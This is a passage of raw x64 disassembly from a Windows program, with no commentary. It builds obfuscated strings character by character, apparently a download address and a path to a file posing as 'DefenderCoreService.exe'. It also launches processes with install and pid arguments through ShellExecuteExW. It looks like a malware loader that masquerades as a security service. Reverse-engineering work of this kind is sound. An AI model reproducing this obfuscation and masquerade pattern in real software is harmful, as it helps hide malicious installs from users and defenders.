mov r8d, 4
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x23a], ax
mov edx, 0x3a
mov r8d, 5
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x23c], ax
mov edx, 0x2f
mov r8d, 6
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x23e], ax
mov edx, 0x2f
mov r8d, 7
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x240], ax
mov edx, 0x64
mov r8d, 8
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x242], ax
mov edx, 0x75
mov r8d, 9
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x244], ax
mov edx, 0x79
mov r8d, 0xa
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x246], ax
mov edx, 0x2d
mov r8d, 0xb
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x248], ax
mov edx, r12d
mov r8d, 0xc
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x24a], ax
mov edx, 0x68
mov r8d, 0xd
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x24c], ax
mov edx, 0x61
mov r8d, 0xe
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x24e], ax
mov edx, 0x6e
mov r8d, 0xf
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x250], ax
mov edx, 0x68
mov r8d, 0x10
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x252], ax
mov edx, 0x2e
mov r8d, 0x11
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x254], ax
mov edx, 0x67
mov r8d, 0x12
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x256], ax
mov edx, r15d
mov r8d, 0x13
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x258], ax
mov edx, r12d
mov r8d, 0x14
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x25a], ax
mov edx, 0x68
mov r8d, 0x15
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x25c], ax
mov edx, 0x75
mov r8d, 0x16
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x25e], ax
mov edx, 0x62
mov r8d, 0x17
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x260], ax
mov edx, 0x2e
mov r8d, 0x18
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x262], ax
mov edx, r15d
mov r8d, 0x19
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x264], ax
mov edx, 0x6f
mov r8d, 0x1a
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x266], ax
mov edx, 0x2f
mov r8d, 0x1b
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x268], ax
mov edx, 0x66
mov r8d, 0x1c
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x26a], ax
mov edx, r15d
mov r8d, 0x1d
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x26c], ax
mov edx, 0x6c
mov r8d, 0x1e
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x26e], ax
mov edx, 0x65
mov r8d, 0x1f
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x270], ax
mov edx, 0x2f
mov r8d, 0x20
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x272], ax
mov edx, dword [rsp + 0x30]
mov r8d, 0x21
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x274], ax
mov edx, r15d
mov r8d, 0x22
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x276], ax
mov edx, 0x63
mov r8d, 0x23
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x278], ax
mov edx, 0x72
mov r8d, 0x24
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x27a], ax
mov edx, 0x6f
mov r8d, 0x25
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x27c], ax
mov edx, r13d
mov r8d, 0x26
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x27e], ax
mov edx, 0x6f
mov r8d, 0x27
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x280], ax
mov edx, 0x66
mov r8d, 0x28
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x282], ax
mov edx, r12d
mov r8d, 0x29
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x284], ax
mov edx, 0x57
mov r8d, 0x2a
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x286], ax
mov edx, r15d
mov r8d, 0x2b
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x288], ax
mov edx, 0x6e
mov r8d, 0x2c
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x28a], ax
mov edx, 0x64
mov r8d, 0x2d
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x28c], ax
mov edx, 0x6f
mov r8d, 0x2e
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x28e], ax
mov edx, dword [rsp + 0x38]
mov r8d, 0x2f
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x290], ax
mov edx, r13d
mov r8d, 0x30
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x292], ax
mov edx, 0x44
mov r8d, 0x31
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x294], ax
mov edx, 0x65
mov r8d, 0x32
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x296], ax
mov edx, 0x66
mov r8d, 0x33
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x298], ax
mov edx, 0x65
mov r8d, 0x34
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x29a], ax
mov edx, 0x6e
mov r8d, 0x35
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x29c], ax
mov edx, 0x64
mov r8d, 0x36
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x29e], ax
mov edx, 0x65
mov r8d, 0x37
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2a0], ax
mov edx, 0x72
mov r8d, 0x38
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2a2], ax
mov edx, 0x43
mov r8d, 0x39
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2a4], ax
mov edx, 0x6f
mov r8d, 0x3a
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2a6], ax
mov edx, 0x72
mov r8d, 0x3b
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2a8], ax
mov edx, 0x65
mov r8d, 0x3c
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2aa], ax
mov edx, 0x53
mov r8d, 0x3d
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2ac], ax
mov edx, 0x65
mov r8d, 0x3e
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2ae], ax
mov edx, 0x72
mov r8d, 0x3f
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2b0], ax
mov edx, 0x76
mov r8d, 0x40
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2b2], ax
mov edx, r15d
mov r8d, 0x41
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2b4], ax
mov edx, 0x63
mov r8d, 0x42
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2b6], ax
mov edx, 0x65
mov r8d, 0x43
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2b8], ax
mov edx, 0x2e
mov r8d, 0x44
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2ba], ax
mov edx, 0x65
mov r8d, 0x45
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2bc], ax
mov edx, 0x78
mov r8d, 0x46
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2be], ax
mov edx, 0x65
mov r8d, 0x47
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2c0], ax
xor edx, edx
mov r8, qword [rsp + 0x48]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2c2], ax
mov r8d, 0x49
movzx edx, word [0x14004bdd2]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2c4], ax
mov r8d, 0x4a
movzx edx, word [0x14004bdd4]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2c6], ax
mov r8d, 0x4b
movzx edx, word [0x14004bdd6]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2c8], ax
mov r8d, 0x4c
movzx edx, word [0x14004bdd8]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2ca], ax
mov r8, qword [rsp + 0x30]
movzx edx, word [0x14004bdda]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2cc], ax
mov r8d, 0x4e
movzx edx, word [0x14004bddc]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2ce], ax
mov r8d, 0x4f
movzx edx, word [0x14004bdde]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2d0], ax
mov r8d, 0x50
movzx edx, word [0x14004bde0]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2d2], ax
mov r8d, 0x51
movzx edx, word [0x14004bde2]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2d4], ax
mov r8d, 0x52
movzx edx, word [0x14004bde4]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2d6], ax
mov r8d, 0x53
movzx edx, word [0x14004bde6]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2d8], ax
mov r8d, 0x54
movzx edx, word [0x14004bde8]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2da], ax
mov r8d, 0x55
movzx edx, word [0x14004bdea]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2dc], ax
mov r8d, 0x56
movzx edx, word [0x14004bdec]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2de], ax
mov r8d, 0x57
movzx edx, word [0x14004bdee]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2e0], ax
mov r8d, 0x58
movzx edx, word [0x14004bdf0]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2e2], ax
mov r8d, 0x59
movzx edx, word [0x14004bdf2]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2e4], ax
mov r8d, 0x5a
movzx edx, word [0x14004bdf4]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2e6], ax
mov r8d, 0x5b
movzx edx, word [0x14004bdf6]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2e8], ax
mov r8d, 0x5c
movzx edx, word [0x14004bdf8]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2ea], ax
mov r8d, 0x5d
movzx edx, word [0x14004bdfa]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2ec], ax
mov r8d, 0x5e
movzx edx, word [0x14004bdfc]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2ee], ax
mov r8d, 0x5f
movzx edx, word [0x14004bdfe]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2f0], ax
mov r8d, 0x60
movzx edx, word [str.install]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2f2], ax
mov r8d, 0x61
movzx edx, word [0x14004be02]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2f4], ax
mov r8d, 0x62
movzx edx, word [0x14004be04]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2f6], ax
mov r8d, 0x63
movzx edx, word [0x14004be06]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2f8], ax
mov r8d, 0x64
movzx edx, word [0x14004be08]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2fa], ax
mov r8d, 0x65
movzx edx, word [0x14004be0a]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2fc], ax
mov r8d, 0x66
movzx edx, word [0x14004be0c]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x2fe], ax
mov r8d, 0x67
movzx edx, word [0x14004be0e]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x300], ax
mov r8d, 0x68
movzx edx, word [str.___pid]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x302], ax
mov r8, r15
movzx edx, word [0x14004be12]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x304], ax
mov r8, rbx
movzx edx, word [0x14004be14]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x306], ax
mov r8d, 0x6b
movzx edx, word [0x14004be16]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x308], ax
mov r8d, 0x6c
movzx edx, word [0x14004be18]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x30a], ax
mov r8, rdi
movzx edx, word [0x14004be1a]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x30c], ax
mov r8d, 0x6e
movzx edx, word [0x14004be1c]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x30e], ax
mov r8d, 0x6f
movzx edx, word [0x14004be1e]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x310], ax
mov r8d, 0x70
movzx edx, word [0x14004be20]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x312], ax
mov r8d, 0x71
movzx edx, word [0x14004be22]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x314], ax
mov r8d, 0x72
movzx edx, word [0x14004be24]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x316], ax
mov r8, r13
movzx edx, word [0x14004be26]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x318], ax
mov r8, r12
movzx edx, word [0x14004be28]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x31a], ax
mov r8d, 0x75
movzx edx, word [0x14004be2a]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x31c], ax
mov r8d, 0x76
movzx edx, word [0x14004be2c]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x31e], ax
mov r8, qword [rsp + 0x38]
movzx edx, word [0x14004be2e]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x320], ax
mov r8d, 0x78
movzx edx, word [0x14004be30]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x322], ax
mov r8d, 0x79
movzx edx, word [0x14004be32]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x324], ax
mov r8d, 0x7a
movzx edx, word [0x14004be34]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x326], ax
mov r8d, 0x7b
movzx edx, word [0x14004be36]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x328], ax
mov r8d, 0x7c
movzx edx, word [0x14004be38]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x32a], ax
mov r8, qword [rsp + 0x40]
movzx edx, word [0x14004be3a]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x32c], ax
mov r8d, 0x7e
movzx edx, word [0x14004be3c]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x32e], ax
mov r8d, 0x7f
movzx edx, word [0x14004be3e]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x330], ax
mov r8d, 0x80
movzx edx, word [0x14004be40]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x332], ax
mov r8d, 0x81
movzx edx, word [0x14004be42]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x334], ax
mov r8d, 0x82
movzx edx, word [0x14004be44]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x336], ax
mov r8d, 0x83
movzx edx, word [0x14004be46]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x338], ax
mov r8d, 0x84
movzx edx, word [0x14004be48]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x33a], ax
mov r8d, 0x85
movzx edx, word [0x14004be4a]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x33c], ax
mov r8d, 0x86
movzx edx, word [0x14004be4c]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x33e], ax
mov r8d, 0x87
movzx edx, word [0x14004be4e]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x340], ax
mov r8d, 0x88
movzx edx, word [0x14004be50]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x342], ax
mov r8d, 0x89
movzx edx, word [0x14004be52]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x344], ax
mov r8d, 0x8a
movzx edx, word [0x14004be54]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x346], ax
mov r8d, 0x8b
movzx edx, word [0x14004be56]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x348], ax
mov r8d, 0x8c
movzx edx, word [0x14004be58]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x34a], ax
mov r8d, 0x8d
movzx edx, word [0x14004be5a]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x34c], ax
mov r8d, 0x8e
movzx edx, word [0x14004be5c]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x34e], ax
mov r8d, 0x8f
movzx edx, word [0x14004be5e]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x350], ax
mov r8d, 0x90
movzx edx, word [str.StartServiceCtrlDispatcher]
lea rcx, [rbp + 0x230]
call fcn.140011000
mov word [rbp + 0x352], ax
xor eax, eax
mov word [rbp + 0x354], ax
lea rcx, [rbp + 0x230]
call fcn.14000df90
mov rdx, rax
lea rcx, [rbp + 0xc90]
call fcn.14000fcd0
nop
lea rcx, [rbp + 0xb58]
call fcn.14000fbc0
mov rbx, rax
lea rcx, [rbp + 0xc90]
call fcn.14000fbc0
mov rcx, rax
mov rdx, rbx
call fcn.14000cdf0
call fcn.14000cf30
mov edx, 0x20
lea rcx, [rbp + 0x170]
call fcn.140011030
mov word [rbp + 0x170], ax
mov edx, r15d
lea rcx, [rbp + 0x170]
call fcn.140011030
mov word [rbp + 0x172], ax
mov edx, 0x6e
lea rcx, [rbp + 0x170]
call fcn.140011030
mov word [rbp + 0x174], ax
mov edx, r13d
lea rcx, [rbp + 0x170]
call fcn.140011030
mov word [rbp + 0x176], ax
mov edx, r12d
lea rcx, [rbp + 0x170]
call fcn.140011030
mov word [rbp + 0x178], ax
mov edx, 0x61
lea rcx, [rbp + 0x170]
call fcn.140011030
mov word [rbp + 0x17a], ax
mov ebx, 0x6c
mov edx, ebx
lea rcx, [rbp + 0x170]
call fcn.140011030
mov word [rbp + 0x17c], ax
mov edx, ebx
lea rcx, [rbp + 0x170]
call fcn.140011030
mov word [rbp + 0x17e], ax
xor edx, edx
lea rcx, [rbp + 0x170]
call fcn.140011030
mov word [rbp + 0x180], ax
movzx edx, word [0x14004bdea]
lea rcx, [rbp + 0x170]
call fcn.140011030
mov word [rbp + 0x182], ax
movzx edx, word [0x14004bdec]
lea rcx, [rbp + 0x170]
call fcn.140011030
mov word [rbp + 0x184], ax
movzx edx, word [0x14004bdee]
lea rcx, [rbp + 0x170]
call fcn.140011030
mov word [rbp + 0x186], ax
movzx edx, word [0x14004bdf0]
lea rcx, [rbp + 0x170]
call fcn.140011030
mov word [rbp + 0x188], ax
movzx edx, word [0x14004bdf2]
lea rcx, [rbp + 0x170]
call fcn.140011030
mov word [rbp + 0x18a], ax
movzx edx, word [0x14004bdf4]
lea rcx, [rbp + 0x170]
call fcn.140011030
mov word [rbp + 0x18c], ax
movzx edx, word [0x14004bdf6]
lea rcx, [rbp + 0x170]
call fcn.140011030
mov word [rbp + 0x18e], ax
movzx edx, word [0x14004bdf8]
lea rcx, [rbp + 0x170]
call fcn.140011030
mov word [rbp + 0x190], ax
mov word [rbp + 0x192], r14w
lea rcx, [rbp + 0x170]
call fcn.14000df60
mov rdx, rax
lea rcx, [rbp + 0xd30]
call fcn.14000fcd0
nop
mov dword [rsp + 0x50], 0x70
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x54], xmm0
movups xmmword [rsp + 0x64], xmm0
movups xmmword [rsp + 0x74], xmm0
movups xmmword [rbp - 0x7c], xmm0
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
mov qword [rbp - 0x4c], rax
mov dword [rbp - 0x44], eax
mov dword [rsp + 0x54], 0x40
lea rcx, [rbp + 0xbd0]
call fcn.14000fbc0
mov qword [rsp + 0x60], rax
lea rcx, [rbp + 0xb58]
call fcn.14000fbc0
mov qword [rsp + 0x68], rax
lea rcx, [rbp + 0xd30]
call fcn.14000fbc0
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x58], r14
mov dword [rbp - 0x80], r14d
lea rcx, [rsp + 0x50]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x140006d5f
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov edi, eax
mov eax, 0xa800
mov word [rbp + 0x3b0], ax
mov edx, 0x29
lea rcx, [rbp + 0x3b0]
call fcn.140011010
mov word [rbp + 0x3b2], ax
xor edx, edx
lea rcx, [rbp + 0x3b0]
call fcn.140011010
mov word [rbp + 0x3b4], ax
movzx edx, word [0x14004b910]
lea rcx, [rbp + 0x3b0]
call fcn.140011010
mov word [rbp + 0x3b6], ax
xor eax, eax
mov word [rbp + 0x3b8], ax
mov edx, 0x45
lea rcx, [rbp + 0x198]
call fcn.140011060
mov word [rbp + 0x198], ax
mov edx, 0x72
lea rcx, [rbp + 0x198]
call fcn.140011060
mov word [rbp + 0x19a], ax
mov edx, 0x72
lea rcx, [rbp + 0x198]
call fcn.140011060
mov word [rbp + 0x19c], ax
mov edx, 0x6f
lea rcx, [rbp + 0x198]
call fcn.140011060
mov word [rbp + 0x19e], ax
mov edx, 0x72
lea rcx, [rbp + 0x198]
call fcn.140011060
mov word [rbp + 0x1a0], ax
mov edx, 0x20
lea rcx, [rbp + 0x198]
call fcn.140011060
mov word [rbp + 0x1a2], ax
mov edx, 0x28
lea rcx, [rbp + 0x198]
call fcn.140011060
mov word [rbp + 0x1a4], ax
xor edx, edx
lea rcx, [rbp + 0x198]
call fcn.140011060
mov word [rbp + 0x1a6], ax
movzx edx, word [str.install]
lea rcx, [rbp + 0x198]
call fcn.140011060
mov word [rbp + 0x1a8], ax
movzx edx, word [0x14004be02]
lea rcx, [rbp + 0x198]
call fcn.140011060
mov word [rbp + 0x1aa], ax
movzx edx, word [0x14004be04]
lea rcx, [rbp + 0x198]
call fcn.140011060
mov word [rbp + 0x1ac], ax
movzx edx, word [0x14004be06]
lea rcx, [rbp + 0x198]
call fcn.140011060
mov word [rbp + 0x1ae], ax
movzx edx, word [0x14004be08]
lea rcx, [rbp + 0x198]
call fcn.140011060
mov word [rbp + 0x1b0], ax
movzx edx, word [0x14004be0a]
lea rcx, [rbp + 0x198]
call fcn.140011060
mov word [rbp + 0x1b2], ax
movzx edx, word [0x14004be0c]
lea rcx, [rbp + 0x198]
call fcn.140011060
mov word [rbp + 0x1b4], ax
mov word [rbp + 0x1b6], r14w
lea rcx, [rbp + 0x3b0]
call fcn.14000cf50
mov rbx, rax
lea rcx, [rbp + 0x198]
call fcn.14000df20
mov rdx, rax
lea rcx, [0x140054660]
call fcn.1400123b0
mov rcx, rax
mov edx, edi
call fcn.14000dbc0
mov rcx, rax
mov rdx, rbx
call fcn.1400123b0
mov rcx, rax
lea rdx, [fcn.140012690]
call fcn.14000df10
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
nop
lea rcx, [rbp + 0xd30]
call fcn.14000fc60
nop
lea rcx, [rbp + 0xc90]
call fcn.14000fc60
mov dword [rbp + 0x500], 0x780073
mov rax, qword [rsp + 0x40]
mov word [rbp + 0x504], ax
mov dword [rbp + 0x506], 0x6b007e
mov dword [rbp + 0x50a], 0x760076
mov eax, 0xa
mov word [rbp + 0x50e], ax
movzx eax, word [str.___pid]
add ax, 0xa
mov word [rbp + 0x510], ax
movzx eax, word [0x14004be12]
add ax, 0xa
mov word [rbp + 0x512], ax
movzx eax, word [0x14004be14]
add ax, 0xa
mov word [rbp + 0x514], ax
movzx eax, word [0x14004be16]
add ax, 0xa
mov word [rbp + 0x516], ax
movzx eax, word [0x14004be18]
add ax, 0xa
mov word [rbp + 0x518], ax
movzx eax, word [0x14004be1a]
add ax, 0xa
mov word [rbp + 0x51a], ax
movzx eax, word [0x14004be1c]
add ax, 0xa
mov word [rbp + 0x51c], ax
mov word [rbp + 0x51e], r14w
lea rcx, [rbp + 0x500]
call fcn.14000d200
mov rdx, rax
lea rcx, [rbp + 0xc50]
call fcn.14000fcd0
nop
lea rcx, [rbp + 0xc50]
call fcn.14000fbc0
mov rdx, rax
mov rcx, qword [rsi + 8]
call qword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
jne 0x140006e91
call fcn.140007a20
jmp 0x1400078b5
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
mov edx, eax
lea rcx, [rbp + 0xcd0]
call fcn.140001500
nop
mov eax, 0xcded
mov word [rbp + 0x388], ax
mov edx, 0x20
lea rcx, [rbp + 0x388]
call fcn.140011010
mov word [rbp + 0x38a], ax
mov edx, 0x2d
lea rcx, [rbp + 0x388]
call fcn.140011010
mov word [rbp + 0x38c], ax
mov edx, 0x2d
lea rcx, [rbp + 0x388]
call fcn.140011010
mov word [rbp + 0x38e], ax
mov edx, 0x70
lea rcx, [rbp + 0x388]
call fcn.140011010
mov word [rbp + 0x390], ax
mov edx, r15d
lea rcx, [rbp + 0x388]
call fcn.140011010
mov word [rbp + 0x392], ax
mov edx, 0x64
lea rcx, [rbp + 0x388]
call fcn.140011010
mov word [rbp + 0x394], ax
mov edx, 0x20
lea rcx, [rbp + 0x388]
call fcn.140011010
mov word [rbp + 0x396], ax
xor edx, edx
lea rcx, [rbp + 0x388]
call fcn.140011010
mov word [rbp + 0x398], ax
movzx edx, word [0x14004be20]
lea rcx, [rbp + 0x388]
call fcn.140011010
mov word [rbp + 0x39a], ax
movzx edx, word [0x14004be22]
lea rcx, [rbp + 0x388]
call fcn.140011010
mov word [rbp + 0x39c], ax
movzx edx, word [0x14004be24]
lea rcx, [rbp + 0x388]
call fcn.140011010
mov word [rbp + 0x39e], ax
movzx edx, word [0x14004be26]
lea rcx, [rbp + 0x388]
call fcn.140011010
mov word [rbp + 0x3a0], ax
movzx edx, word [0x14004be28]
lea rcx, [rbp + 0x388]
call fcn.140011010
mov word [rbp + 0x3a2], ax
movzx edx, word [0x14004be2a]
lea rcx, [rbp + 0x388]
call fcn.140011010
mov word [rbp + 0x3a4], ax
movzx edx, word [0x14004be2c]
lea rcx, [rbp + 0x388]
call fcn.140011010
mov word [rbp + 0x3a6], ax
xor eax, eax
mov word [rbp + 0x3a8], ax
lea rcx, [rbp + 0x388]
call fcn.14000d090
mov rdx, rax
lea rcx, [rbp + 0xc70]
call fcn.14000fcd0
nop
lea rdx, [rbp + 0xcd0]
lea rcx, [rbp + 0xc70]
call fcn.14000fbd0
mov dword [rbp - 0x20], 0x70
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x1c], xmm0
movups xmmword [rbp - 0xc], xmm0
movups xmmword [rbp + 4], xmm0
movups xmmword [rbp + 0x14], xmm0
movups xmmword [rbp + 0x24], xmm0
movups xmmword [rbp + 0x34], xmm0
mov qword [rbp + 0x44], rax
mov dword [rbp + 0x4c], eax
lea rcx, [rbp + 0xbd0]
call fcn.14000fbc0
mov qword [rbp - 0x10], rax
lea rcx, [rbp + 0xb38]
call fcn.14000fbc0
mov qword [rbp - 8], rax
lea rcx, [rbp + 0xc70]
call fcn.14000fbc0
mov qword [rbp], rax
mov qword [rbp - 0x18], r14
mov dword [rbp + 0x10], r14d
lea rcx, [rbp - 0x20]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x14000730a
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov edi, eax
mov eax, 0xc71b
mov word [rbp + 0x3c0], ax
mov edx, 0x29
